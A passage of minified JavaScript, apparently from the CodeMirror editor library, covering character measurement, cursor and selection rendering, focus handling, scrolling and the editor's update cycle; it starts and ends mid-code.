na(b);d=E(e);e=a.display.externalMeasured=new qe(a.doc,e,d);e.lineN=d;d=e.built=oe(a,e);e.text=d.pre;F(a.display.lineMeasure,d.pre);d=e}a=xe(d,b,c);return{line:b,view:d,rect:null,map:a.map,cache:a.cache,before:a.before,hasHeights:!1}}function sa(a,b,c,d,e){b.before&&(c=-1);var f=c+(d||"");if(b.cache.hasOwnProperty(f))a=b.cache[f];else{b.rect||(b.rect=b.view.text.getBoundingClientRect());if(!b.hasHeights){var g=b.view,h=b.rect,k=a.options.lineWrapping,l=k&&Na(a);if(!g.measure.heights||k&&g.measure.width!=
l){var m=g.measure.heights=[];if(k)for(g.measure.width=l,g=g.text.firstChild.getClientRects(),k=0;k<g.length-1;k++){var l=g[k],p=g[k+1];2<Math.abs(l.bottom-p.bottom)&&m.push((l.bottom+p.top)/2-h.top)}m.push(h.bottom-h.top)}b.hasHeights=!0}m=d;g=ye(b.map,c,m);d=g.node;h=g.start;k=g.end;c=g.collapse;if(3==d.nodeType){for(var n=0;4>n;n++){for(;h&&Oc(b.line.text.charAt(g.coverStart+h));)--h;for(;g.coverStart+k<g.coverEnd&&Oc(b.line.text.charAt(g.coverStart+k));)++k;if(D&&9>B&&0==h&&k==g.coverEnd-g.coverStart)var q=
d.parentNode.getBoundingClientRect();else{q=wb(d,h,k).getClientRects();k=ze;if("left"==m)for(l=0;l<q.length&&(k=q[l]).left==k.right;l++);else for(l=q.length-1;0<=l&&(k=q[l]).left==k.right;l--);q=k}if(q.left||q.right||0==h)break;k=h;--h;c="right"}D&&11>B&&((n=!window.screen||null==screen.logicalXDPI||screen.logicalXDPI==screen.deviceXDPI)||(null!=nd?n=nd:(m=F(a.display.measure,t("span","x")),n=m.getBoundingClientRect(),m=wb(m,0,1).getBoundingClientRect(),n=nd=1<Math.abs(n.left-m.left)),n=!n),n||(n=
screen.logicalXDPI/screen.deviceXDPI,m=screen.logicalYDPI/screen.deviceYDPI,q={left:q.left*n,right:q.right*n,top:q.top*m,bottom:q.bottom*m}))}else 0<h&&(c=m="right"),q=a.options.lineWrapping&&1<(n=d.getClientRects()).length?n["right"==m?n.length-1:0]:d.getBoundingClientRect();!(D&&9>B)||h||q&&(q.left||q.right)||(q=(q=d.parentNode.getClientRects()[0])?{left:q.left,right:q.left+Ab(a.display),top:q.top,bottom:q.bottom}:ze);d=q.top-b.rect.top;h=q.bottom-b.rect.top;n=(d+h)/2;m=b.view.measure.heights;for(g=
0;g<m.length-1&&!(n<m[g]);g++);c={left:("right"==c?q.right:q.left)-b.rect.left,right:("left"==c?q.left:q.right)-b.rect.left,top:g?m[g-1]:0,bottom:m[g]};q.left||q.right||(c.bogus=!0);a.options.singleCursorHeightPerLine||(c.rtop=d,c.rbottom=h);a=c;a.bogus||(b.cache[f]=a)}return{left:a.left,right:a.right,top:e?a.rtop:a.top,bottom:e?a.rbottom:a.bottom}}function ye(a,b,c){for(var d,e,f,g,h,k,l=0;l<a.length;l+=3){h=a[l];k=a[l+1];if(b<h)e=0,f=1,g="left";else if(b<k)e=b-h,f=e+1;else if(l==a.length-3||b==
k&&a[l+3]>b)f=k-h,e=f-1,b>=k&&(g="right");if(null!=e){d=a[l+2];h==k&&c==(d.insertLeft?"left":"right")&&(g=c);if("left"==c&&0==e)for(;l&&a[l-2]==a[l-3]&&a[l-1].insertLeft;)d=a[(l-=3)+2],g="left";if("right"==c&&e==k-h)for(;l<a.length-3&&a[l+3]==a[l+4]&&!a[l+5].insertLeft;)d=a[(l+=3)+2],g="right";break}}return{node:d,start:e,end:f,collapse:g,coverStart:h,coverEnd:k}}function Ae(a){if(a.measure&&(a.measure.cache={},a.measure.heights=null,a.rest))for(var b=0;b<a.rest.length;b++)a.measure.caches[b]={}}
function Be(a){a.display.externalMeasure=null;H(a.display.lineMeasure);for(var b=0;b<a.display.view.length;b++)Ae(a.display.view[b])}function Bb(a){Be(a);a.display.cachedCharWidth=a.display.cachedTextHeight=a.display.cachedPaddingH=null;a.options.lineWrapping||(a.display.maxLineChanged=!0);a.display.lineNumChars=null}function Ce(){return pc&&qc?-(document.body.getBoundingClientRect().left-parseInt(getComputedStyle(document.body).marginLeft)):window.pageXOffset||(document.documentElement||document.body).scrollLeft}
function De(){return pc&&qc?-(document.body.getBoundingClientRect().top-parseInt(getComputedStyle(document.body).marginTop)):window.pageYOffset||(document.documentElement||document.body).scrollTop}function La(a,b,c,d,e){if(!e&&b.widgets)for(e=0;e<b.widgets.length;++e)if(b.widgets[e].above){var f=zb(b.widgets[e]);c.top+=f;c.bottom+=f}if("line"==d)return c;d||(d="local");b=oa(b);b="local"==d?b+a.display.lineSpace.offsetTop:b-a.display.viewOffset;if("page"==d||"window"==d)a=a.display.lineSpace.getBoundingClientRect(),
b+=a.top+("window"==d?0:De()),d=a.left+("window"==d?0:Ce()),c.left+=d,c.right+=d;c.top+=b;c.bottom+=b;return c}function Ee(a,b,c){if("div"==c)return b;var d=b.left;b=b.top;"page"==c?(d-=Ce(),b-=De()):"local"!=c&&c||(c=a.display.sizer.getBoundingClientRect(),d+=c.left,b+=c.top);a=a.display.lineSpace.getBoundingClientRect();return{left:d-a.left,top:b-a.top}}function rc(a,b,c,d,e){d||(d=u(a.doc,b.line));var f=d;b=b.ch;d=sa(a,$a(a,d),b,e);return La(a,f,d,c)}function ja(a,b,c,d,e,f){function g(b,g){b=
sa(a,e,b,g?"right":"left",f);g?b.left=b.right:b.right=b.left;return La(a,d,b,c)}function h(a,b,d){return g(d?a-1:a,0!=k[b].level%2!=d)}d=d||u(a.doc,b.line);e||(e=$a(a,d));var k=za(d,a.doc.direction),l=b.ch;b=b.sticky;l>=d.text.length?(l=d.text.length,b="before"):0>=l&&(l=0,b="after");if(!k)return g("before"==b?l-1:l,"before"==b);var m=Xc(k,l,b),p=tb,m=h(l,m,"before"==b);null!=p&&(m.other=h(l,p,"before"!=b));return m}function Fe(a,b){var c=0;b=x(a.doc,b);a.options.lineWrapping||(c=Ab(a.display)*b.ch);
b=u(a.doc,b.line);a=oa(b)+a.display.lineSpace.offsetTop;return{left:c,right:c,top:a,bottom:a+b.height}}function od(a,b,c){var d=a.doc;c+=a.display.viewOffset;if(0>c)return a=r(d.first,0,null),a.xRel=-1,a.outside=!0,a;var e=Ia(d,c),f=d.first+d.size-1;if(e>f)return a=u(d,f).text.length,a=r(d.first+d.size-1,a,null),a.xRel=1,a.outside=!0,a;0>b&&(b=0);for(f=u(d,e);;)if(d=ug(a,f,e,b,c),f=(e=Ja(f,!1))&&e.find(0,!0),e&&(d.ch>f.from.ch||d.ch==f.from.ch&&0<d.xRel))e=E(f=f.to.line);else return d}function be(a,
b,c,d){var e=b.text.length,f=gc(function(e){return La(a,b,sa(a,c,e-1),"line").bottom<=d},e,0),e=gc(function(e){return La(a,b,sa(a,c,e),"line").top>d},f,e);return{begin:f,end:e}}function ug(a,b,c,d,e){e-=oa(b);var f=0,g=b.text.length,h=$a(a,b);if(za(b,a.doc.direction)){if(a.options.lineWrapping){var k=be(a,b,h,e);f=k.begin;g=k.end}c=new r(c,Math.floor(f+(g-f)/2));var l=ja(a,c,"line",b,h).left;k=l<d?1:-1;var m=l-d,p=Math.ceil((g-f)/4);a:do{l=m;var n=c;for(var q=0;q<p;++q){var I=c;c=ae(a,b,c,k);if(null==
c||c.ch<f||g<=("before"==c.sticky?c.ch-1:c.ch)){c=I;break a}}m=ja(a,c,"line",b,h).left-d;1<p&&(p=Math.min(p,Math.ceil(Math.abs(m)/(Math.abs(m-l)/p))),k=0>m?1:-1)}while(0!=m&&(1<p||0>k!=0>m&&Math.abs(m)<=Math.abs(l)));if(Math.abs(m)>Math.abs(l)){if(0>m==0>l)throw Error("Broke out of infinite loop in coordsCharInner");c=n}}else f=gc(function(c){var f=La(a,b,sa(a,h,c),"line");return f.top>e?(g=Math.min(c,g),!0):f.bottom<=e?!1:f.left>d?!0:f.right<d?!1:d-f.left<f.right-d},f,g),f=Td(b.text,f,1),c=new r(c,
f,f==g?"before":"after");f=ja(a,c,"line",b,h);if(e<f.top||f.bottom<e)c.outside=!0;c.xRel=d<f.left?-1:d>f.right?1:0;return c}function Pa(a){if(null!=a.cachedTextHeight)return a.cachedTextHeight;if(null==Qa){Qa=t("pre");for(var b=0;49>b;++b)Qa.appendChild(document.createTextNode("x")),Qa.appendChild(t("br"));Qa.appendChild(document.createTextNode("x"))}F(a.measure,Qa);b=Qa.offsetHeight/50;3<b&&(a.cachedTextHeight=b);H(a.measure);return b||1}function Ab(a){if(null!=a.cachedCharWidth)return a.cachedCharWidth;
var b=t("span","xxxxxxxxxx"),c=t("pre",[b]);F(a.measure,c);b=b.getBoundingClientRect();b=(b.right-b.left)/10;2<b&&(a.cachedCharWidth=b);return b||10}function md(a){for(var b=a.display,c={},d={},e=b.gutters.clientLeft,f=b.gutters.firstChild,g=0;f;f=f.nextSibling,++g)c[a.options.gutters[g]]=f.offsetLeft+f.clientLeft+e,d[a.options.gutters[g]]=f.clientWidth;return{fixedPos:pd(b),gutterTotalWidth:b.gutters.offsetWidth,gutterLeft:c,gutterWidth:d,wrapperWidth:b.wrapper.clientWidth}}function pd(a){return a.scroller.getBoundingClientRect().left-
a.sizer.getBoundingClientRect().left}function Ge(a){var b=Pa(a.display),c=a.options.lineWrapping,d=c&&Math.max(5,a.display.scroller.clientWidth/Ab(a.display)-3);return function(e){if(Ka(a.doc,e))return 0;var f=0;if(e.widgets)for(var g=0;g<e.widgets.length;g++)e.widgets[g].height&&(f+=e.widgets[g].height);return c?f+(Math.ceil(e.text.length/d)||1)*b:f+b}}function qd(a){var b=a.doc,c=Ge(a);b.iter(function(a){var b=c(a);b!=a.height&&ma(a,b)})}function Ra(a,b,c,d){var e=a.display;if(!c&&"true"==(b.target||
b.srcElement).getAttribute("cm-not-content"))return null;c=e.lineSpace.getBoundingClientRect();try{var f=b.clientX-c.left;var g=b.clientY-c.top}catch(k){return null}b=od(a,f,g);var h;d&&1==b.xRel&&(h=u(a.doc,b.line).text).length==b.ch&&(d=fa(h,h.length,a.options.tabSize)-h.length,b=r(b.line,Math.max(0,Math.round((f-we(a.display).left)/Ab(a.display))-d)));return b}function Oa(a,b){if(b>=a.display.viewTo)return null;b-=a.display.viewFrom;if(0>b)return null;a=a.display.view;for(var c=0;c<a.length;c++)if(b-=
a[c].size,0>b)return c}function Cb(a){a.display.input.showSelection(a.display.input.prepareSelection())}function He(a,b){for(var c=a.doc,d={},e=d.cursors=document.createDocumentFragment(),f=d.selection=document.createDocumentFragment(),g=0;g<c.sel.ranges.length;g++)if(!1!==b||g!=c.sel.primIndex){var h=c.sel.ranges[g];if(!(h.from().line>=a.display.viewTo||h.to().line<a.display.viewFrom)){var k=h.empty();(k||a.options.showCursorWhenSelecting)&&Ie(a,h.head,e);k||vg(a,h,f)}}return d}function Ie(a,b,c){b=
ja(a,b,"div",null,null,!a.options.singleCursorHeightPerLine);var d=c.appendChild(t("div","\u00a0","CodeMirror-cursor"));d.style.left=b.left+"px";d.style.top=b.top+"px";d.style.height=Math.max(0,b.bottom-b.top)*a.options.cursorHeight+"px";b.other&&(a=c.appendChild(t("div","\u00a0","CodeMirror-cursor CodeMirror-secondarycursor")),a.style.display="",a.style.left=b.other.left+"px",a.style.top=b.other.top+"px",a.style.height=.85*(b.other.bottom-b.other.top)+"px")}function vg(a,b,c){function d(a,b,d,c){0>
b&&(b=0);b=Math.round(b);c=Math.round(c);h.appendChild(t("div",null,"CodeMirror-selected","position: absolute; left: "+a+"px;\n                             top: "+b+"px; width: "+(null==d?m-a:d)+"px;\n                             height: "+(c-b)+"px"))}function e(b,c,e){var f=u(g,b),h=f.text.length,k,n;fg(za(f,g.direction),c||0,null==e?h:e,function(g,p,q){var I=rc(a,r(b,g),"div",f,"left"),t;if(g==p){var u=I;q=t=I.left}else u=rc(a,r(b,p-1),"div",f,"right"),"rtl"==q&&(q=I,I=u,u=q),q=I.left,t=u.right;
null==c&&0==g&&(q=l);3<u.top-I.top&&(d(q,I.top,null,I.bottom),q=l,I.bottom<u.top&&d(q,I.bottom,null,u.top));null==e&&p==h&&(t=m);if(!k||I.top<k.top||I.top==k.top&&I.left<k.left)k=I;if(!n||u.bottom>n.bottom||u.bottom==n.bottom&&u.right>n.right)n=u;q<l+1&&(q=l);d(q,u.top,t-q,u.bottom)});return{start:k,end:n}}var f=a.display,g=a.doc,h=document.createDocumentFragment(),k=we(a.display),l=k.left,m=Math.max(f.sizerWidth,Na(a)-f.sizer.offsetLeft)-k.right,f=b.from();b=b.to();if(f.line==b.line)e(f.line,f.ch,
b.ch);else{var p=u(g,f.line),k=u(g,b.line),k=na(p)==na(k),f=e(f.line,f.ch,k?p.text.length+1:null).end;b=e(b.line,k?0:null,b.ch).start;k&&(f.top<b.top-2?(d(f.right,f.top,null,f.bottom),d(l,b.top,b.left,b.bottom)):d(f.right,f.top,b.left-f.right,f.bottom));f.bottom<b.top&&d(l,f.bottom,null,b.top)}c.appendChild(h)}function rd(a){if(a.state.focused){var b=a.display;clearInterval(b.blinker);var c=!0;b.cursorDiv.style.visibility="";0<a.options.cursorBlinkRate?b.blinker=setInterval(function(){return b.cursorDiv.style.visibility=
(c=!c)?"":"hidden"},a.options.cursorBlinkRate):0>a.options.cursorBlinkRate&&(b.cursorDiv.style.visibility="hidden")}}function Je(a){a.state.focused||(a.display.input.focus(),sd(a))}function Ke(a){a.state.delayingBlurEvent=!0;setTimeout(function(){a.state.delayingBlurEvent&&(a.state.delayingBlurEvent=!1,Db(a))},100)}function sd(a,b){a.state.delayingBlurEvent&&(a.state.delayingBlurEvent=!1);"nocursor"!=a.options.readOnly&&(a.state.focused||(J(a,"focus",a,b),a.state.focused=!0,Fa(a.display.wrapper,"CodeMirror-focused"),
a.curOp||a.display.selForContextMenu==a.doc.sel||(a.display.input.reset(),T&&setTimeout(function(){return a.display.input.reset(!0)},20)),a.display.input.receivedFocus()),rd(a))}function Db(a,b){a.state.delayingBlurEvent||(a.state.focused&&(J(a,"blur",a,b),a.state.focused=!1,Sa(a.display.wrapper,"CodeMirror-focused")),clearInterval(a.display.blinker),setTimeout(function(){a.state.focused||(a.display.shift=!1)},150))}function sc(a){a=a.display;for(var b=a.lineDiv.offsetTop,c=0;c<a.view.length;c++){var d=
a.view[c];if(!d.hidden){if(D&&8>B){var e=d.node.offsetTop+d.node.offsetHeight;var f=e-b;b=e}else f=d.node.getBoundingClientRect(),f=f.bottom-f.top;e=d.line.height-f;2>f&&(f=Pa(a));if(.005<e||-.005>e)if(ma(d.line,f),Le(d.line),d.rest)for(f=0;f<d.rest.length;f++)Le(d.rest[f])}}}function Le(a){if(a.widgets)for(var b=0;b<a.widgets.length;++b)a.widgets[b].height=a.widgets[b].node.parentNode.offsetHeight}function td(a,b,c){var d=c&&null!=c.top?Math.max(0,c.top):a.scroller.scrollTop,d=Math.floor(d-a.lineSpace.offsetTop),
e=c&&null!=c.bottom?c.bottom:d+a.wrapper.clientHeight,d=Ia(b,d),e=Ia(b,e);if(c&&c.ensure){var f=c.ensure.from.line;c=c.ensure.to.line;f<d?(d=f,e=Ia(b,oa(u(b,f))+a.wrapper.clientHeight)):Math.min(c,b.lastLine())>=e&&(d=Ia(b,oa(u(b,c))-a.wrapper.clientHeight),e=c)}return{from:d,to:Math.max(e,d+1)}}function Me(a){var b=a.display,c=b.view;if(b.alignWidgets||b.gutters.firstChild&&a.options.fixedGutter){for(var d=pd(b)-b.scroller.scrollLeft+a.doc.scrollLeft,e=b.gutters.offsetWidth,f=d+"px",g=0;g<c.length;g++)if(!c[g].hidden){a.options.fixedGutter&&
(c[g].gutter&&(c[g].gutter.style.left=f),c[g].gutterBackground&&(c[g].gutterBackground.style.left=f));var h=c[g].alignable;if(h)for(var k=0;k<h.length;k++)h[k].style.left=f}a.options.fixedGutter&&(b.gutters.style.left=d+e+"px")}}function Ne(a){if(!a.options.lineNumbers)return!1;var b=a.doc,b=Qc(a.options,b.first+b.size-1),c=a.display;if(b.length!=c.lineNumChars){var d=c.measure.appendChild(t("div",[t("div",b)],"CodeMirror-linenumber CodeMirror-gutter-elt")),e=d.firstChild.offsetWidth,d=d.offsetWidth-
e;c.lineGutter.style.width="";c.lineNumInnerWidth=Math.max(e,c.lineGutter.offsetWidth-d)+1;c.lineNumWidth=c.lineNumInnerWidth+d;c.lineNumChars=c.lineNumInnerWidth?b.length:-1;c.lineGutter.style.width=c.lineNumWidth+"px";ud(a);return!0}return!1}function vd(a,b){var c=a.display,d=Pa(a.display);0>b.top&&(b.top=0);var e=a.curOp&&null!=a.curOp.scrollTop?a.curOp.scrollTop:c.scroller.scrollTop,f=kd(a),g={};b.bottom-b.top>f&&(b.bottom=b.top+f);var h=a.doc.height+jd(c),k=b.top<d,d=b.bottom>h-d;b.top<e?g.scrollTop=
k?0:b.top:b.bottom>e+f&&(f=Math.min(b.top,(d?h:b.bottom)-f),f!=e&&(g.scrollTop=f));e=a.curOp&&null!=a.curOp.scrollLeft?a.curOp.scrollLeft:c.scroller.scrollLeft;a=Na(a)-(a.options.fixedGutter?c.gutters.offsetWidth:0);if(c=b.right-b.left>a)b.right=b.left+a;10>b.left?g.scrollLeft=0:b.left<e?g.scrollLeft=Math.max(0,b.left-(c?0:10)):b.right>a+e-3&&(g.scrollLeft=b.right+(c?0:10)-a);return g}function tc(a,b){null!=b&&(uc(a),a.curOp.scrollTop=(null==a.curOp.scrollTop?a.doc.scrollTop:a.curOp.scrollTop)+b)}
function eb(a){uc(a);var b=a.getCursor();a.curOp.scrollToPos={from:b,to:b,margin:a.options.cursorScrollMargin}}function Eb(a,b,c){null==b&&null==c||uc(a);null!=b&&(a.curOp.scrollLeft=b);null!=c&&(a.curOp.scrollTop=c)}function uc(a){var b=a.curOp.scrollToPos;if(b){a.curOp.scrollToPos=null;var c=Fe(a,b.from),d=Fe(a,b.to);Oe(a,c,d,b.margin)}}function Oe(a,b,c,d){b=vd(a,{left:Math.min(b.left,c.left),top:Math.min(b.top,c.top)-d,right:Math.max(b.right,c.right),bottom:Math.max(b.bottom,c.bottom)+d});Eb(a,
b.scrollLeft,b.scrollTop)}function Fb(a,b){2>Math.abs(a.doc.scrollTop-b)||(xa||wd(a,{top:b}),Pe(a,b,!0),xa&&wd(a),Gb(a,100))}function Pe(a,b,c){b=Math.min(a.display.scroller.scrollHeight-a.display.scroller.clientHeight,b);if(a.display.scroller.scrollTop!=b||c)a.doc.scrollTop=b,a.display.scrollbars.setScrollTop(b),a.display.scroller.scrollTop!=b&&(a.display.scroller.scrollTop=b)}function Ta(a,b,c,d){b=Math.min(b,a.display.scroller.scrollWidth-a.display.scroller.clientWidth);(c?b==a.doc.scrollLeft:
2>Math.abs(a.doc.scrollLeft-b))&&!d||(a.doc.scrollLeft=b,Me(a),a.display.scroller.scrollLeft!=b&&(a.display.scroller.scrollLeft=b),a.display.scrollbars.setScrollLeft(b))}function Hb(a){var b=a.display,c=b.gutters.offsetWidth,d=Math.round(a.doc.height+jd(a.display));return{clientHeight:b.scroller.clientHeight,viewHeight:b.wrapper.clientHeight,scrollWidth:b.scroller.scrollWidth,clientWidth:b.scroller.clientWidth,viewWidth:b.wrapper.clientWidth,barLeft:a.options.fixedGutter?c:0,docHeight:d,scrollHeight:d+
pa(a)+b.barHeight,nativeBarWidth:b.nativeBarWidth,gutterWidth:c}}function fb(a,b){b||(b=Hb(a));var c=a.display.barWidth,d=a.display.barHeight;Qe(a,b);for(b=0;4>b&&c!=a.display.barWidth||d!=a.display.barHeight;b++)c!=a.display.barWidth&&a.options.lineWrapping&&sc(a),Qe(a,Hb(a)),c=a.display.barWidth,d=a.display.barHeight}function Qe(a,b){var c=a.display,d=c.scrollbars.update(b);c.sizer.style.paddingRight=(c.barWidth=d.right)+"px";c.sizer.style.paddingBottom=(c.barHeight=d.bottom)+"px";c.heightForcer.style.borderBottom=
d.bottom+"px solid transparent";d.right&&d.bottom?(c.scrollbarFiller.style.display="block",c.scrollbarFiller.style.height=d.bottom+"px",c.scrollbarFiller.style.width=d.right+"px"):c.scrollbarFiller.style.display="";d.bottom&&a.options.coverGutterNextToScrollbar&&a.options.fixedGutter?(c.gutterFiller.style.display="block",c.gutterFiller.style.height=d.bottom+"px",c.gutterFiller.style.width=b.gutterWidth+"px"):c.gutterFiller.style.display=""}function Re(a){a.display.scrollbars&&(a.display.scrollbars.clear(),
a.display.scrollbars.addClass&&Sa(a.display.wrapper,a.display.scrollbars.addClass));a.display.scrollbars=new Se[a.options.scrollbarStyle](function(b){a.display.wrapper.insertBefore(b,a.display.scrollbarFiller);v(b,"mousedown",function(){a.state.focused&&setTimeout(function(){return a.display.input.focus()},0)});b.setAttribute("cm-not-content","true")},function(b,c){"horizontal"==c?Ta(a,b):Fb(a,b)},a);a.display.scrollbars.addClass&&Fa(a.display.wrapper,a.display.scrollbars.addClass)}function Ua(a){a.curOp=
{cm:a,viewChanged:!1,startHeight:a.doc.height,forceUpdate:!1,updateInput:null,typing:!1,changeObjs:null,cursorActivityHandlers:null,cursorActivityCalled:0,selectionChanged:!1,updateMaxLine:!1,scrollLeft:null,scrollTop:null,scrollToPos:null,focus:!1,id:++wg};a=a.curOp;db?db.ops.push(a):a.ownsGroup=db={ops:[a],delayedCallbacks:[]}}function Va(a){rg(a.curOp,function(a){for(var b=0;b<a.ops.length;b++)a.ops[b].cm.curOp=null;a=a.ops;for(b=0;b<a.length;b++){var d=a[b],e=d.cm,f=e.display,g=e.display;!g.scrollbarsClipped&&
g.scroller.offsetWidth&&(g.nativeBarWidth=g.scroller.offsetWidth-g.scroller.clientWidth,g.heightForcer.style.height=pa(e)+"px",g.sizer.style.marginBottom=-g.nativeBarWidth+"px",g.sizer.style.borderRightWidth=pa(e)+"px",g.scrollbarsClipped=!0);d.updateMaxLine&&Wc(e);d.mustUpdate=d.viewChanged||d.forceUpdate||null!=d.scrollTop||d.scrollToPos&&(d.scrollToPos.from.line<f.viewFrom||d.scrollToPos.to.line>=f.viewTo)||f.maxLineChanged&&e.options.lineWrapping;d.update=d.mustUpdate&&new vc(e,d.mustUpdate&&
{top:d.scrollTop,ensure:d.scrollToPos},d.forceUpdate)}for(b=0;b<a.length;b++)d=a[b],d.updatedDisplay=d.mustUpdate&&xd(d.cm,d.update);for(b=0;b<a.length;b++)if(d=a[b],e=d.cm,f=e.display,d.updatedDisplay&&sc(e),d.barMeasure=Hb(e),f.maxLineChanged&&!e.options.lineWrapping&&(g=f.maxLine.text.length,g=sa(e,$a(e,f.maxLine),g,void 0),d.adjustWidthTo=g.left+3,e.display.sizerWidth=d.adjustWidthTo,d.barMeasure.scrollWidth=Math.max(f.scroller.clientWidth,f.sizer.offsetLeft+d.adjustWidthTo+pa(e)+e.display.barWidth),
d.maxScrollLeft=Math.max(0,f.sizer.offsetLeft+d.adjustWidthTo-Na(e))),d.updatedDisplay||d.selectionChanged)d.preparedSelection=f.input.prepareSelection(d.focus);for(b=0;b<a.length;b++)d=a[b],e=d.cm,null!=d.adjustWidthTo&&(e.display.sizer.style.minWidth=d.adjustWidthTo+"px",d.maxScrollLeft<e.doc.scrollLeft&&Ta(e,Math.min(e.display.scroller.scrollLeft,d.maxScrollLeft),!0),e.display.maxLineChanged=!1),f=d.focus&&d.focus==ra()&&(!document.hasFocus||document.hasFocus()),d.preparedSelection&&e.display.input.showSelection(d.preparedSelection,
f),(d.updatedDisplay||d.startHeight!=e.doc.height)&&fb(e,d.barMeasure),d.updatedDisplay&&yd(e,d.barMeasure),d.selectionChanged&&rd(e),e.state.focused&&d.updateInput&&e.display.input.reset(d.typing),f&&Je(d.cm);for(b=0;b<a.length;b++){var h=void 0,d=a[b],e=d.cm,f=e.display,g=e.doc;d.updatedDisplay&&Te(e,d.update);null==f.wheelStartX||null==d.scrollTop&&null==d.scrollLeft&&!d.scrollToPos||(f.wheelStartX=f.wheelStartY=null);null!=d.scrollTop&&Pe(e,d.scrollTop,d.forceScroll);null!=d.scrollLeft&&Ta(e,
d.scrollLeft,!0,!0);if(d.scrollToPos){var k=x(g,d.scrollToPos.from),l=x(g,d.scrollToPos.to),m=d.scrollToPos.margin;null==m&&(m=0);e.options.lineWrapping||k!=l||(k=k.ch?r(k.line,"before"==k.sticky?k.ch-1:k.ch,"after"):k,l="before"==k.sticky?r(k.line,k.ch+1,"before"):k);for(var p=0;5>p;p++){var n=!1,h=ja(e,k),q=l&&l!=k?ja(e,l):h,h={left:Math.min(h.left,q.left),top:Math.min(h.top,q.top)-m,right:Math.max(h.left,q.left),bottom:Math.max(h.bottom,q.bottom)+m},q=vd(e,h),I=e.doc.scrollTop,u=e.doc.scrollLeft;
null!=q.scrollTop&&(Fb(e,q.scrollTop),1<Math.abs(e.doc.scrollTop-I)&&(n=!0));null!=q.scrollLeft&&(Ta(e,q.scrollLeft),1<Math.abs(e.doc.scrollLeft-u)&&(n=!0));if(!n)break}l=h;N(e,"scrollCursorIntoView")||(m=e.display,p=m.sizer.getBoundingClientRect(),k=null,0>l.top+p.top?k=!0:l.bottom+p.top>(window.innerHeight||document.documentElement.clientHeight)&&(k=!1),null==k||xg||(l=t("div","\u200b",null,"position: absolute;\n                         top: "+(l.top-m.viewOffset-e.display.lineSpace.offsetTop)+
"px;\n                         height: "+(l.bottom-l.top+pa(e)+m.barHeight)+"px;\n                         left: "+l.left+"px; width: "+Math.max(2,l.right-l.left)+"px;"),e.display.lineSpace.appendChild(l),l.scrollIntoView(k),e.display.lineSpace.removeChild(l)))}l=d.maybeHiddenMarkers;k=d.maybeUnhiddenMarkers;if(l)for(m=0;m<l.length;++m)l[m].lines.length||J(l[m],"hide");if(k)for(l=0;l<k.length;++l)k[l].lines.length&&J(k[l],"unhide");f.wrapper.offsetHeight&&(g.scrollTop=e.display.scroller.scrollTop);
d.changeObjs&&J(e,"changes",e,d.changeObjs);d.update&&d.update.finish()}})}function aa(a,b){if(a.curOp)return b();Ua(a);try{return b()}finally{Va(a)}}function O(a,b){return function(){if(a.curOp)return b.apply(a,arguments);Ua(a);try{return b.apply(a,arguments)}finally{Va(a)}}}function W(a){return function(){if(this.curOp)return a.apply(this,arguments);Ua(this);try{return a.apply(this,arguments)}finally{Va(this)}}}function P(a){return function(){var b=this.cm;if(!b||b.curOp)return a.apply(this,arguments);
Ua(b);try{return a.apply(this,arguments)}finally{Va(b)}}}function Y(a,b,c,d){null==b&&(b=a.doc.first);null==c&&(c=a.doc.first+a.doc.size);d||(d=0);var e=a.display;d&&c<e.viewTo&&(null==e.updateLineNumbers||e.updateLineNumbers>b)&&(e.updateLineNumbers=b);a.curOp.viewChanged=!0;if(b>=e.viewTo)ya&&Uc(a.doc,b)<e.viewTo&&Aa(a);else if(c<=e.viewFrom)ya&&$d(a.doc,c+d)>e.viewFrom?Aa(a):(e.viewFrom+=d,e.viewTo+=d);else if(b<=e.viewFrom&&c>=e.viewTo)Aa(a);else if(b<=e.viewFrom){var f=wc(a,c,c+d,1);f?(e.view=
e.view.slice(f.index),e.viewFrom=f.lineN,e.viewTo+=d):Aa(a)}else if(c>=e.viewTo)(f=wc(a,b,b,-1))?(e.view=e.view.slice(0,f.index),e.viewTo=f.lineN):Aa(a);else{var f=wc(a,b,b,-1),g=wc(a,c,c+d,1);f&&g?(e.view=e.view.slice(0,f.index).concat(oc(a,f.lineN,g.lineN)).concat(e.view.slice(g.index)),e.viewTo+=d):Aa(a)}if(a=e.externalMeasured)c<a.lineN?a.lineN+=d:b<a.lineN+a.size&&(e.externalMeasured=null)}function Ba(a,b,c){a.curOp.viewChanged=!0;var d=a.display,e=a.display.externalMeasured;e&&b>=e.lineN&&b<
e.lineN+e.size&&(d.externalMeasured=null);b<d.viewFrom||b>=d.viewTo||(a=d.view[Oa(a,b)],null!=a.node&&(a=a.changes||(a.changes=[]),-1==Q(a,c)&&a.push(c)))}function Aa(a){a.display.viewFrom=a.display.viewTo=a.doc.first;a.display.view=[];a.display.viewOffset=0}function wc(a,b,c,d){var e=Oa(a,b),f=a.display.view;if(!ya||c==a.doc.first+a.doc.size)return{index:e,lineN:c};for(var g=a.display.viewFrom,h=0;h<e;h++)g+=f[h].size;if(g!=b){if(0<d){if(e==f.length-1)return null;b=g+f[e].size-b;e++}else b=g-b;c+=
b}for(;Uc(a.doc,c)!=c;){if(e==(0>d?0:f.length-1))return null;c+=d*f[e-(0>d?1:0)].size;e+=d}return{index:e,lineN:c}}function Ue(a){a=a.display.view;for(var b=0,c=0;c<a.length;c++){var d=a[c];d.hidden||d.node&&!d.changes||++b}return b}function Gb(a,b){a.doc.highlightFrontier<a.display.viewTo&&a.state.highlight.set(b,Kc(yg,a))}function yg(a){var b=a.doc;if(!(b.highlightFrontier>=a.display.viewTo)){var c=+new Date+a.options.workTime,d=vb(a,b.highlightFrontier),e=[];b.iter(d.line,Math.min(b.first+b.size,
a.display.viewTo+500),function(f){if(d.line>=a.display.viewFrom){var g=f.styles,h=f.text.length>a.options.maxHighlightLength?Ma(b.mode,d.state):null,k=ge(a,f,d,!0);h&&(d.state=h);f.styles=k.styles;h=f.styleClasses;(k=k.classes)?f.styleClasses=k:h&&(f.styleClasses=null);k=!g||g.length!=f.styles.length||h!=k&&(!h||!k||h.bgClass!=k.bgClass||h.textClass!=k.textClass);for(h=0;!k&&h<g.length;++h)k=g[h]!=f.styles[h];k&&e.push(d.line);f.stateAfter=d.save()}else f.text.length<=a.options.maxHighlightLength&&
